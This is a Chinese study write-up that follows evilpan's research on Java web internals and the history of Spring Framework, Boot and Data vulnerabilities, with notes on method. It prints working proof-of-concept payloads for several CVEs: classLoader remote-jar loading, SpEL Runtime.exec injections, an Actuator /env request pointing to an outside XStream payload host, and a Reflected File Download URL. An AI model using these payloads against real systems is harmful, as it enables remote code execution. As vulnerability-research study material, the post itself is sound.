目录

学习evilpan研究java相关漏洞

目录

学习目的

  • [x] 这篇文章是来学习evilpan师傅的学习思考思路和方法
  • [x] 学习他的搜索习惯和搜索思路
  • [ ] 学习他的url解析与鉴权系列文章,主要是搞spring相关漏洞
  • [x] 梳理他参考的英文文献,做计划阅读并提升英文阅读能力

另外贴出几个他的思考文章,非常推荐仔细读很多遍

  1. https://evilpan.com/2021/05/22/bug-hunting/
  2. https://evilpan.com/2020/12/27/my2020/
  3. https://evilpan.com/2017/05/07/about-programing/
  4. https://evilpan.com/2022/05/01/code-audit-thoughts/
  5. https://evilpan.com/2022/01/22/code-audit/

虽然研究的内容我们在shiro中初步涉及到了,但是思考的方式还是局限于shiro这个框架,以及其相关漏洞,并且发现非常的孤立,我们只是做shiro本身的调研。而且在我们调研url解析相关漏洞的时候,也只局限于shiro的解析,或许我们根据其CVE去了解了下Spring的url解析,毕竟要找二者的差异绕过,但是我们的顺序是先shiro然后spring,至于Tomcat几乎没有深入了解,而这恰恰是最关键的一点,引出了两种学习方法:

  1. 先广泛的获取信息,然后最从系统的底部开始研究,抛开安全即代码层面,只研究某条路径中的全部代码,比如URL解析从Tomcat-Spring的全路径,然后再研究URL解析漏洞放在系统的这条路径中。对比常见的中间件相关漏洞。最后抽象,形成一种挖掘漏洞的思路/模式。
  2. 只盯着URL解析的部分,然后复现文章,官方漏洞描述,根据各种tricks研究绕过方法。然后顺着思路向下深究系统。哪里需要了解哪里就去学。

这显然是不同维度的两件事。这篇文章试着学习evilpan的写作风格,研究他的学习方式。 全部内容在其公众号中或者其博客中 我们主要研究其如下文章:

  1. Java 安全研究初探
  2. Spring Framework 历史漏洞研究
  3. Spring {Boot,Data,Security} 历史漏洞研究

研究方法:先读一遍作者引用的文章,总结作者常用的网站,搜集信息充足的网站,内容看完了再看作者的写作。遇到代码调试,则边调试边看作者的文章,有需要就查一些资料。

Java 安全研究初探

为了梳理java的整体功能框架,作者翻阅了大量的官方文档,如下。考虑到英文水平,感觉有点震撼。

引用链接
[1] JSRs by Platform - Java EE: https://jcp.org/en/jsr/platform?listBy=3&listByType=platform
[2] Java EE - Oracle: https://www.oracle.com/java/technologies/java-ee-glance.html
[3] Jakarta EE - Wikipedia: https://en.wikipedia.org/wiki/Jakarta_EE
[4] Java Web 安全 - javasec.org: https://javasec.org/
[5] JSRs by Committee - SE/EE: https://jcp.org/en/jsr/ec?listBy=1
[6] Java Servlet 3.1: https://jcp.org/en/jsr/detail?id=340
[7] Jakarta_Servlet - Wikipedia: https://en.wikipedia.org/wiki/Jakarta_Servlet
[8] JSR 340: Java Servlet 3.1 Specification: https://jcp.org/en/jsr/detail?id=340
[9] How Spring Web MVC Really Works: https://stackify.com/spring-mvc/
[10] JSR 245: https://jcp.org/en/jsr/detail?id=245
[11] HttpJspBase: https://github.com/guang19/framework-learning/blob/master/tomcat9.0-source/java/org/apache/jasper/runtime/HttpJspBase.java#L37
[12] directive: https://www.tutorialspoint.com/jsp/jsp_directives.htm
[13] JSP 支持让用户自定义标签: https://www.tutorialspoint.com/jsp/jsp_custom_tags.htm
[14] JavaServer Pages Standard Tag Library 1.1 Tag Reference: https://docs.oracle.com/javaee/5/jstl/1.1/docs/tlddocs/
[15] JSTL - Stackoverflow: https://stackoverflow.com/tags/jstl/info
[16] Jakarta_Server_Pages - Wiki: https://en.wikipedia.org/wiki/Jakarta_Server_Pages
[17] JSP Tutorial: https://www.tutorialspoint.com/jsp/index.htm
[18] JSR 245: JavaServerTM Pages 2.1: https://jcp.org/en/jsr/detail?id=245
[19] Java EL: https://en.wikipedia.org/wiki/Jakarta_Expression_Language
[20] EL 2.1 版本: https://download.oracle.com/otn-pub/jcp/jsp-2.1-fr-eval-spec-oth-JSpec/jsp-2_1-fr-spec-el.pdf
[21] EL 3.0: https://jcp.org/en/jsr/detail?id=341
[22] OGNL: https://github.com/orphan-oss/ognl
[23] MVEL: https://github.com/mvel/mvel
[24] SpEL: https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions
[25] JEXL: https://commons.apache.org/proper/commons-jexl/
[26] JSR 54: JDBC 3.0 Specification: https://jcp.org/en/jsr/detail?id=54
[27] JSR 114: JDBC Rowset Implementations: https://jcp.org/en/jsr/detail?id=114
[28] JSR 221: JDBC 4.0 API Specification: https://jcp.org/en/jsr/detail?id=221
[29] New Exploit Technique In Java Deserialization Attack: https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
[30] JSR 3: Java Management Extensions (JMX) Specification: https://www.jcp.org/en/jsr/detail?id=3
[31] JSR 160: Java Management Extensions (JMX) Remote API: https://www.jcp.org/en/jsr/detail?id=160
[32] JSR 262: Web Services Connector for Java Management Extensions (JMX) Agents: https://www.jcp.org/en/jsr/detail?id=262
[33] Jolokia: https://jolokia.org/reference/html/index.html
[34] Attacking RMI based JMX services - @h0ng10: https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/
[35] JMX Exploitation Revisited - Markus Wulftange: https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html
[36] Java Management Extensions (JMX) Best Practices - Oracle: https://www.oracle.com/java/technologies/javase/management-extensions-best-practices.html
[37] Java Management Extensions - Wikipedia: https://en.wikipedia.org/wiki/Java_Management_Extensions
[38] 梦游一次从jmx到rce - Y4er: https://y4er.com/posts/from-jmx-to-rce/

根据evilpan描述,他翻阅文档的目的如下 > 一般开发者可能很少需要直接阅读标准文档,且文档中也说明其目标主要是 Web 服务器的开发者。不过作为安全研究人员,我们可以从中学习到很多 Servlet 的基础架构和设计思想。

但是对我来说,这可能是一次在evilpan的带领下的全新的尝试,目的在于尝试一种获取信息的途径与新的学习研究方式。 关于文章,作者梳理了几大模块,这也是没谁了真的挺全的。

  1. javaEE[2][3][4][5]
  2. [Servlet/Filter][6][7][8][9]
  3. Jsp[10]
  4. JspServlet[11]
  5. 标签库与JSTL[12]-[18]
  6. Java表达式语言[19]-[25]
  7. JDBC[26]-[29]
  8. JMX[30][31][32]

这里产生了几个安全的分支

  1. el injection
  2. jdbc attack(deserialization)
  3. jmx

然后我自己搜集一些比较好的文章 Deserialization of Untrusted Data:https://security.snyk.io/vuln/SNYK-JAVA-COMMONSCOLLECTIONS-30078 Deserialization of Untrusted Data-cwe:https://cwe.mitre.org/data/definitions/502.html Web container-wiki:https://en.wikipedia.org/wiki/Web_container URL-wiki:https://en.wikipedia.org/wiki/URL JSR-all-specification:https://download.oracle.com/otndocs/jcp/servlet-3_1-fr-eval-spec/index.html SpEL漏洞研究: https://xz.aliyun.com/t/11478 https://xz.aliyun.com/t/9245 https://tttang.com/archive/1583/ JDBC漏洞研究: https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/ jmx相关漏洞: https://y4er.com/posts/from-jmx-to-rce/ https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/ https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html

others waiting to research smuggling request attack https://portswigger.net/web-security/request-smuggling

一些信息充足的网站

  1. https://en.wikipedia.org/
  2. https://security.snyk.io/
  3. https://i.blackhat.com/ (主要是各个相关ppt要了解)

总结 看完少了半条命。。

  1. 他也不都是看JSR官方文档,一部分也是使用搜索引擎然后去相关英文教程网站学习。
  2. 除了JSR,英文教程网站,还有wikipedia也是信息充足的地方。英文教程网站讲的真好
  3. 我发现他也不是事先规划好要研究啥了,他可能凭借着自身的经验,哪些想要更加深入的研究,可能是根据漏洞,也可能是根据以往一知半解的理解这次想彻底搞明白。也是随着研究深入逐渐梳理出下一个内容。
  4. 感觉他在写基础教程,并且只是列举了一部分内容,然后剩下的扔一个链接自己去看。
  5. 研究一个东西,首先研究他的历史。然后视野不能局限,要先多看文章,然后再总结,不能只看一个文章就完事了。
  6. 他每个研究都写了一个小demo,没写出来demo之前不要进行接下来的研究,因为demo是辅助信息的。
  7. 他说他是工作原因换了一个领域来到java的,他先通过阅读jsr,梳理出java的知识面,然后通过知识面梳理出可攻击的领域,做到从一个整体看待java安全。包括下面的spring framework历史漏洞也是,他也是从面来看待的。

Spring Framework 历史漏洞研究

作者原文 > 本文的主要目标是分析、总结、归纳历史上出现过的 Spring 框架漏洞,从而尝试找出其中的潜在模式,以达到温故知新的目的。 > 本节简单学习了 Spring Framework 本身的一些特性和功能,并在此基础上随意选择了几个相关的漏洞进行分析,以尝试对 Spring 框架的整体结构、历史漏洞和代码质量有个初步认识。从中可以发现,Spring Framework 作为流行 Web 框架的基石,历史上出现过的严重漏洞并不多,RCE 类漏洞更多出现在 SpEL 中,MVC 框架里的 JavaBean 绑定也可以算是一个独特的攻击面。作为安全研究者,一方面可以对这些历史攻击面进行深入分析,以发掘新的绕过方式;另一方面也可以寻找一些新的攻击面,后者往往能造成更大的影响效果。

spring-mvc是构建在Servlet API上的原始web框架,默认使用DispatcherServlet作为请求处理 继承关系:DispatcherServlet -> FrameworkServlet -> HttpServletBean -> HttpServlet -> GenericServlet 简单理解:

  • FrameworkServlet,Spring的web框架的基础servlet,提供 Spring应用容器的集成,基于javaBean解决方案。
  • HttpServletBean,HttpServlet的简单实现,包括初始化资源,资源的设置和获取
  • HttpServlet,对于web站点,提供子类一个抽象类去创建HTTP servlet,至少实现如下方法之一:doGet、doPost、doPut、doDelete、init、destroy、getServletInfo
  • GenericServlet,通用的、独立于协议的servlet。

作者通过梳理如下漏洞,并总结漏洞成因和补丁,来学习Spring的攻击面: ## CVE-2010-1622 Spring MVC 允许开发者将业务对象 (Bean) 绑定到 HTML 表单中,并通过请求对其进行修改,例如下述请求:

| POST /adduser HTTP/1.0 ... firstName=Tavis | | --- |

如果绑定了业务对象 User,那么该请求背后最终会执行 user.firstName = "Tavis",这是基于 JavaBean 的接口去实现的。Spring 还支持使用复杂的设置方式,比如 user.address.street=Test 会转换为:

| java frmObj.getUser().getAddress().setStreet("Test") | | --- |

由于 Bean 类默认继承自 Object,且内省的时候没有过滤掉父类的属性,因此攻击者可以通过 class.classLoader 的方式调用 frmObj.getClass().getClassLoader() 从而进一步修改 ClassLoader 中的属性,导致任意代码执行。最初作者的建议是通过 Introspector.getBeanInfo(Person.class, Object.class) 指定 stopClass 的方式防止该问题,但 Spring 实际上通过黑名单的方式进行了修复,这也为后续的绕过埋下伏笔。 恶意访问:http://localhost:8088/hello?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/sp-exp.jar!/ 利用方法:通过覆盖class.classLoader.URLs[0]来让classLoader加载我们预先配置好的远程jar包,其中包含恶意的tag文件,spring内部渲染jsp页面的时候,通过解析tag模版来执行命令。 修复:Tomcat将变量换成clone,无法覆盖。 Spring将classLoader加入黑名单,存在绕过风险。 https://github.com/spring-projects/spring-framework/compare/v3.0.2.RELEASE...v3.0.3.RELEASE CachedIntrospectionResults

拓展学习:js原型链攻击

CVE-2013-4152、CVE-2013-7315、CVE-2013-642

SpringMVC可以将请求的数据绑定到Bean对象,请求的数据可以是表单,XML,JSON形式,该漏洞是通过XML请求绑定到Bean对象时解析XML外部实体导致的XXE漏洞。由于修复不完整又产生了如下漏洞:CVE-2014-0054

CVE-2014-3625

spring-webmvc配置资源映射的时候使用了file:协议,同时访问http://localhost:8080/spring-css/resources/file:/etc/passwd可获取资源。 问题函数在org.springframework.web.servlet.resource.ResourceHttpRequestHandler#getResourceResource#createRelative 返回的结果是 file:/etc/passwd,这就导致了子目录的限制实现穿越。

官方修复,几个校验点

  1. processPath()对// /// //// foo/bar的形式进行过滤
  2. 路径中存在%则使用utf-8解码,同时校验解码后路径,使用isInvalidPath
  3. isInvalidPath进行如下校验:
  4. 路径中不能包含WEB-INF或者META-INF
  5. 路径中如果包含:/则不能使用其获取资源,路径不能以url:开头
  6. 路径中包含../则用org.springframework.util.StringUtils#cleanPath清除路径,清除后还是包含../则视为非法路径
  7. 在所有location获取资源的时候使用isResourceUnderLocation校验,如果资源路径和location不是startsWith关系,或者路径中存在%并且解码后存在../则不予通过。

可以说非常严格,但是还是给绕过了CVE-2018-1271。因为windows中夸路径使用\未进行过滤。

CVE-2018-1270

spring-messaging模块使用了默认的SpEL即StandardEvaluationContext,没有对表达式进行过滤。

  1. StandardEvaluationContext: 支持 SpEL 语言的所有功能和配置选项,这是默认值;
  2. SimpleEvaluationContext: 仅提供 SpEL 语言的基本功能和配置选项的子集,适用于不需要 SpEL 语言全部功能,且对表达式有限制的情况;

漏洞相关参考:https://kingx.me/spring-messaging-rce-cve-2018-1270.html

下面自己尝试学习一下 简单读一下文档学习

AMQP协议(高级消息队列协议)是线路级协议,功能丰富,它提供了与消息传递相关的广泛功能,包括可靠的队列、基于主题的发布和订阅消息传递、灵活的路由、事务和安全性。可进行细粒度的控制。apache ActiveMQ消息中间件基于AMQP协议实现。 和AMQP相对的还存在OpenWire协议,Stomp协议,MQTT协议[1] 。ActiveMQ支持如上协议。 MQTT协议的优点是简单和功能集中,它提供发布和订阅消息传递,没有队列功能。适合资源受限的场景使用。比如温度更新、股票价格行情、油压反馈或移动通知。 STOMP(简单/流文本导向消息传递协议)是这三种协议中唯一基于文本的协议,这使得它在本质上更类似于 HTTP。STOMP 不处理队列和主题——它使用带有“目标”字符串的 SEND 语义。代理必须映射到它内部理解的内容,例如主题、队列或交换。然后消费者订阅这些目的地。

简单读一下spring-messaging文档,下面是读文档笔记: 回到Spring,Spring WebSocket支持STOMP传递消息,就和RabbitMQ一样[2],SockJS作为WebSocket的服务端,然后stomp客户端建立在WebSocket之上。stompClient连接的时候订阅某个服务端内部配置好的主题。当某个客户端向主题发送消息,则使用showGreeting解析并写入页面。

function connect() {
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
        });
    });
}
function showGreeting(message) {
    $("#greetings").append("<tr><td>" + message + "</td></tr>");
}
function sendName() {
    stompClient.send("/app/hello", {}, JSON.stringify({'name': $("#name").val()}));
}
@Controller
public class GreetingController {
    // 当访问/hello的时候调用本接口
    @MessageMapping("/hello")
    // 将返回值发送到如下主题
    @SendTo("/topic/greetings")
    public Greeting greeting(HelloMessage message) throws Exception {
        Thread.sleep(1000); // simulated delay
        return new Greeting("Hello, " + message.getName() + "!");
    }
}
@Configuration
@EnableWebSocketMessageBroker
public class WebSocketConfig implements WebSocketMessageBrokerConfigurer {

    @Override
    public void configureMessageBroker(MessageBrokerRegistry config) {
        // 激活某个路径下的brokers
        config.enableSimpleBroker("/topic");
        // 调用发送消息接口的前缀,比如调用消息访问/app/hello
        config.setApplicationDestinationPrefixes("/app");
    }

    @Override
    public void registerStompEndpoints(StompEndpointRegistry registry) {
        // 注册websocket,允许客户端连接。
        registry.addEndpoint("/gs-guide-websocket").withSockJS();
    }

}

Spring + ActiveMQ(JMS)

spring.activemq.broker-url=tcp://192.168.1.210:9876
spring.activemq.user=admin
spring.activemq.password=secret

Spring + RabbitMQ (默认AMQP)

spring.rabbitmq.host=localhost
spring.rabbitmq.port=5672
spring.rabbitmq.username=admin
spring.rabbitmq.password=secret

Spring + Kafka (Kafka 在 TCP 上使用二进制协议跨实时数据管道传输消息)

spring.kafka.bootstrap-servers=localhost:9092
spring.kafka.consumer.group-id=myGroup

Spring + Rsocket

spring.rsocket.server.mapping-path=/rsocket
spring.rsocket.server.transport=websocket

Rsocket相比较于Servlet,其是一个二进制协议,异步接送消息,构建在传输层之上比如TCP、WebSocket等。在Spring中主要在WebFlux服务器中使用。

回到漏洞 连接的时候增加了一个header在stompClient订阅的时候,header使用了selector,意思是我客户端只接受我selector中定义的内容,比如location = 'Europe',这里使用了SpEL表达式,在服务端进行执行筛选时未进行严格限制。 内心os:我尼玛,这么小个地方的这么小个功能都能让你逮到,我服,一定是他先知道了表达式注入漏洞,然后打算挖spring的漏洞,然后一顿翻文档,我和你讲。

function connect() {
    var header  = {"selector": "T(java.lang.Runtime).getRuntime().exec('open -na Calculator.app')"};
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
        }, header);
    });
}

服务端漏洞点在org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry#filterSubscriptions

private MultiValueMap<String, String> filterSubscriptions(
      MultiValueMap<String, String> allMatches, Message<?> message) {
        ...
                Expression expression = sub.getSelectorExpression();
                if (expression == null) {
                    result.add(sessionId, subId);
                    continue;
                }
                if (context == null) {
                    // *
                    context = new StandardEvaluationContext(message);
                    context.getPropertyAccessors().add(new SimpMessageHeaderPropertyAccessor());
                }
                try {
                                            // *
                    if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
                        result.add(sessionId, subId);
                    }
                }
        ...
}

漏洞修复将StandardEvaluationContext替换成了SimpleEvaluationContext

spring还有一些其他SpEL漏洞待研究:https://www.jianshu.com/p/04bc9f482b43

[1] [https://smartechyblog.wordpress.com/2016/11/04/amqp-vs-mqtt-vs-stomp/](https://smartechyblog.wordpress.com/2016/11/04/amqp-vs-mqtt-vs-stomp/) [2] [https://blog.rabbitmq.com/posts/2012/05/introducing-rabbitmq-web-stomp](https://blog.rabbitmq.com/posts/2012/05/introducing-rabbitmq-web-stomp)

CVE-2020-5398

14年提出的利用手法20年才发现,有是一个在野利用6年之久的漏洞。看来还是应该多看最近的研究。 White paper "Reflected File Download: A New Web Attack Vector" by Oren Hafif. 漏洞利用url:https://example.com/s;/Setup.bat;?q=rfd"||calc|| 1.用户访问-2.下载网站中存在的Setup.bat,内容包含calc命令执行-3.由于可信任的example.com用户轻易相信点确认然后执行命令。 造成此漏洞的三点必须因素

  1. 用户浏览器输入的url可以部分反射到输出中,造成命令执行
  2. 宽容的网站或者api允许额外输入来设置文件扩展为可执行文件 -> org.springframework.http.ContentDisposition允许用户控制部分文件名,ContentDisposition获取文件名的时候未过滤带有"的输入
  3. 浏览器动态下载文件,使用2中的文件名 -> Chrome/...

没细研究,需要的条件有些多,投入产出严重不平衡,而且chrome已经修复了一些因素 学的时候稍微写了一个python搭建的下载文件服务器脚本

try:
    from http.server import BaseHTTPRequestHandler, HTTPServer  # Python 3.x
except ImportError:
    import BaseHTTPServer  # Python 2.x
import os
import shutil
import sys

hostName = "localhost"
serverPort = 8080

class WebServer(BaseHTTPRequestHandler):
   def do_GET(self):

       with open(self.path, 'rb') as f:
           self.send_response(200)
             # 1 如果下载文件(资源)缺失扩展指定或者未知扩展 则使用octet-stream,下载的是二进制文件
           self.send_header("Content-Type", 'application/octet-stream')
             # 2
             # 如下形式,inline代表内嵌到web页面,attachment代表附件形式下载保存到本地
             # Content-Disposition: inline
             # Content-Disposition: attachment
             # Content-Disposition: attachment; filename="filename.jpg"
             # https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition#as_a_response_header_for_the_main_body
           self.send_header("Content-Disposition", 'attachment; filename="{}"'.format(os.path.basename(self.path)))
           fs = os.fstat(f.fileno())
           self.send_header("Content-Length", str(fs.st_size))
           self.end_headers()
             # 3拷贝一个像文件的obj从f到self.wfile
           shutil.copyfileobj(f, self.wfile)


if __name__ == '__main__':
    webServer = HTTPServer((hostName, serverPort), WebServer)
    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")

## CVE-2022-22965(待研究) 这个漏洞即近期比较知名的 Spring4Shell 漏洞,但从漏洞原理来说,其核心其实是前文介绍过的 CVE-2010-1622 的一个绕过。前面说过,在修复 CVE-2010-1622 时,开发者使用了黑名单的方式,限制 Bean 属性名称不能为 classLoader 或者 protectionDomain,这在当时确实是解决了问题。但随着 Java 9 的推出,又引入了一些新的属性,比如 module,因此可以通过这个属性去绕过上面的限制再次对 classLoader 进行修改从而实现 RCE。 不过,该漏洞的 PoC 实际是利用 Tomcat 日志写文件的特性去实现的 webshell 写入,因为直接修改 classLoader 的方式有较多限制。网上虽然有很多分析文章,但大多数只是对着 PoC 单步调试,并没有提及该漏洞的核心。笔者认为,该漏洞的核心还是在于 Spring 对于 JavaBean 的内省 API 使用不当,即 Introspector.getBeanInfo 没有指定 stopClass 导致,不过看 Spring 的修复方式,还是想要在这条缝缝补补的路走到黑了。


for (PropertyDescriptor pd : pds) {
    // Class.class and not name property and not xxxName property. then continue
    // 只允许使用Class中的name属性
    if (Class.class == beanClass && !("name".equals(pd.getName()) ||
            (pd.getName().endsWith("Name") && String.class == pd.getPropertyType()))) {
        // Only allow all name variants of Class properties
        continue;
    }

    // Ignore ClassLoader and ProtectionDomain read-only properties - no need to bind to those
    // 执行方法 URL.getContent() -> openConnection().getContent()
    if (URL.class == beanClass && "content".equals(pd.getName())) {
        // Only allow URL attribute introspection, not content resolution
        continue;
    }
    // 限制
    if (pd.getWriteMethod() == null && isInvalidReadOnlyPropertyType(pd.getPropertyType())) {
        // Ignore read-only properties such as ClassLoader - no need to bind to those
        continue;
    }
}
private static boolean isInvalidReadOnlyPropertyType(@Nullable Class<?> returnType) {
    // 不允许使用返回类型为AutoCloseable/ClassLoader/ProtectionDomain的属性
    return (returnType != null && (AutoCloseable.class.isAssignableFrom(returnType) ||
            ClassLoader.class.isAssignableFrom(returnType) ||
            ProtectionDomain.class.isAssignableFrom(returnType)));
}

参考文章:

总结 重点学习其思考方式:先宏观的厘清相关重要功能,漏洞产生的大致功能点,漏洞产生原因和修复补丁。 放弃不管什么CVE,不管这个是啥能干什么,直接复现的思维。 梳理还是过于认真了,影响速度,因为研究方向还没有确定。

Spring {Boot,Data,Security} 历史漏洞研究

Spring Boot

cnvd-2016-04742

Spring Boot 的默认错误模版中有SpEL表达式注入漏洞 使用StandardEvaluationContext,同时有一个循环解析问题。

详细复现:https://www.cnblogs.com/N0r4h/p/15986151.html

cnvd-2019-11630

Spring Boot Actuator 命令执行漏洞 对于 /env 端点,除了可以获取环境变量,还能获取 @ConfigurationProperties 的属性,同时支持通过 POST 请求对这些属性进行修改。进而产生进一步利用造成RCE。作者举例子,Spring Cloud使用euraka注册中心,配置其地址,同时结合XStream反序列化,可以造成RCE。

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

如果存在jolokia,则可能造成XXE,进一步造成jndi注入,产生RCE

Spring Data

Spring Data Comomns刷文档:https://docs.spring.io/spring-data/commons/docs/current/reference/html/#repositories

摘抄一段,用于动态查找Repository

@NoRepositoryBean
interface MyBaseRepository<T, ID> extends Repository<T, ID> {

  Optional<T> findById(ID id);

  <S extends T> S save(S entity);
}

interface UserRepository extends MyBaseRepository<User, Long> {
  User findByEmailAddress(EmailAddress emailAddress);
}

In the prior example, you defined a common base interface for all your domain repositories and exposed findById(…) as well as save(…).These methods are routed into the base repository implementation of the store of your choice provided by Spring Data (for example, if you use JPA, the implementation is SimpleJpaRepository), because they match the method signatures in CrudRepository. So the UserRepository can now save users, find individual users by ID, and trigger a query to find Users by email address.

google 搜索how are spring data repositories implemented by spring at runtime查找动态生成函数的实现。 下面两个文章可找到答案 https://stackoverflow.com/questions/38509882/how-are-spring-data-repositories-actually-implemented [https://teletype.in/@andrewgolovko/07Q3uDko9_H](https://teletype.in/@andrewgolovko/07Q3uDko9_H) SpringDataJpa比SpringJpa多封装了一层动态生成方法,用于将定义的接口中方法名字直接解析成对应的函数。

interface PersonRepository extends Repository<Person, Long> {
    List<Person> findByAddressZipCode(ZipCode zipCode);
}

自定义接口可直接使用,无需再写方法。

CVE-2016-6652

在 Spring Data 中有个工具类 QueryUtils,内部代码可以使用它来生成 SQL 语句,比如下面的代码用来生成排序语句:

| java QueryUtils.applySorting("select person from Person person", new Sort("firstName")) | | --- |

上述例子中 firstName 是会被传入生成的 SQL 语句的,而且由于 Sort 类的构造函数并没有对参数进行过滤,如果这个参数可以被用户控制,就有可能造成 SQL 注入的风险。 由于这是只是一个内部工具类,并没有直接造成风险,但有部分代码会间接使用到该方法。例如,有下述 Repository:

| ```java interface PersonRepository extends PagingAndSortingRepository {

@Query("SELECT person FROM Person person WHERE " + "LOWER(person.firstName) LIKE LOWER(CONCAT('%',:searchTerm, '%')) OR " + "LOWER(person.lastName) LIKE LOWER(CONCAT('%',:searchTerm, '%'))") List findBySearchTerm(@Param("searchTerm") String searchTerm, Sort sort); }

 |
| --- |

提供了一个搜索姓名的接口,然后在 Spring Web 中使用该接口进行查询,同时也指定通过姓氏来排序:

| ```java
@RequestMapping("/personfind")
public Iterable<PersonDTO> personFind(@RequestParam(value="order", defaultValue="firstName") String order,
                                      @RequestParam(value="term" ) String term) {
  Iterable<Person> persons = personRepo.findBySearchTerm(term, new Sort(order));
  // ...
}

| | --- |

这是个很常见的用法。在这种场景下,Spring Data 背后会构造 applySorting 调用,且参数没有被过滤,从而造成 SQL 注入。

该漏洞的修复分为几个部分,一是增加了 unsafe、unsafeOrder 等方法显示提示潜在的 SQL 注入,二是在原本的 Order 类中增加了正则表达式对属性进行过滤

参考

Spring Data REST

https://www.baeldung.com/spring-data-rest-intro Spring Data REST构建在Spring Data项目之上,使得构建连接到Spring Data存储库的超媒体驱动的REST web服务变得容易。介绍Hypermedia REST APIs 使用@RepositoryRestResource配置Repository成为Endpoint,可以通过web访问,比如如下配置。

@RepositoryRestResource(collectionResourceRel = "users", path = "users")
public interface UserRepository extends PagingAndSortingRepository<WebsiteUser, Long> {
    List<WebsiteUser> findByName(@Param("name") String name);
}

使用下面查询:http://localhost:8080/users/search/findByName?name=test结果如下

{
  "_embedded" : {
    "users" : [ {
      "name" : "test",
      "email" : "test@test.com",
      "_links" : {
        "self" : {
          "href" : "http://localhost:8080/users/1"
        },
        "websiteUser" : {
          "href" : "http://localhost:8080/users/1"
        }
      }
    } ]
  },
  "_links" : {
    "self" : {
      "href" : "http://localhost:8080/users/search/findByName?name=test"
    }
  }
}

CVE-2017-8046

仍然是SpEL导致的漏洞 Spring Data REST命令执行 使用Hypermedia REST API,支持执行GET、POST、PUT、PATCH等方法对Entity进行增删改查,其中PATCH和PUT类似都是修改,只不过PATCH是部分修改资源。漏洞出在PATCH方法上。同时使用的是json+patch:https://jsonpatch.com/

$ curl -X PATCH http://localhost:8080/books/1 \
-H 'Content-Type: application/json-patch+json' \
-d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"id\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'

代码中的处理逻辑在:org.springframework.data.rest.webmvc.json.patch.ReplaceOperation#perform,对path的处理使用了未严格校验的SpEL。正常我们的path使用如/foo/1的样式等,引用目标文档中执行操作的位置,参考:https://datatracker.ietf.org/doc/html/rfc6902 因此该漏洞当时的修复是在解析表达式前先判断 path 是否是目标对象上的合法路径

参考:http://www.code2sec.com/cve-2017-8046-spring-data-restming-ling-zhi-xing-lou-dong.html vulnable environment: https://github.com/bkhablenko/CVE-2017-8046/tree/master/src/main evilpan找到现成环境然后复现一下,他没有自己搭建环境

CVE-2018-1259

Spring Data Commons 或者 Spring Data REST 都可以支持 Web 数据绑定对象。当请求数据格式为 XML 时,可以配置为使用 XMLBeam 组件去实现。这个漏洞实际上是 XMLBeam 的 XXE 漏洞,只不过因为 Spring Data 间接依赖了有漏洞的组件才导致被影响。由于不是 Spring Data 本身的问题,这里就不细说了,详情可以参考:

CVE-2018-1273

仍然是SpEL 对于某些格式的请求处理函数,Spring 框架可以将 HTTP 请求转换为对应的 Bean 对象,这个过程称为对象绑定。绑定对象的过程并不总是那么直观,有的可以在 Spring 框架中完成,有的则是通过自动装配去启用特殊的绑定方法。 以 Spring Data Commons 而言,其中就实现了基于接口的绑定方法 ProxyingHandlerMethodArgumentResolver。例如下面的服务端代码示例:

| ```java @RestController public class VulnerableController {

private static final Logger LOGGER = LoggerFactory.getLogger(VulnerableController.class);

interface Account { String getName(); }

@PostMapping(path = "/account") public void doSomething(Account account) { LOGGER.info("Account {} received", account.getName()); } }

 |
| --- |

上面将的代码可以将 HTTP 请求绑定到 Account 接口,即动态生成一个 Account 子类并进行实例化。绑定的过程中涉及到 SpEL 代码的解析,我们先看下面的实际调用链路:

| ```java
@org.springframework.expression.spel.standard.SpelExpression.setValue()
at org.springframework.data.web.MapDataBinder$MapPropertyAccessor.setPropertyValue(MapDataBinder.java:187)
at org.springframework.beans.AbstractPropertyAccessor.setPropertyValue(AbstractPropertyAccessor.java:65)
at org.springframework.beans.AbstractPropertyAccessor.setPropertyValues(AbstractPropertyAccessor.java:95)
at org.springframework.validation.DataBinder.applyPropertyValues(DataBinder.java:860)
at org.springframework.validation.DataBinder.doBind(DataBinder.java:756)
at org.springframework.web.bind.WebDataBinder.doBind(WebDataBinder.java:192)
at org.springframework.validation.DataBinder.bind(DataBinder.java:741)
at org.springframework.data.web.ProxyingHandlerMethodArgumentResolver.createAttribute(ProxyingHandlerMethodArgumentResolver.java:162)
at org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:106)
at org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:121)
at org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:158)
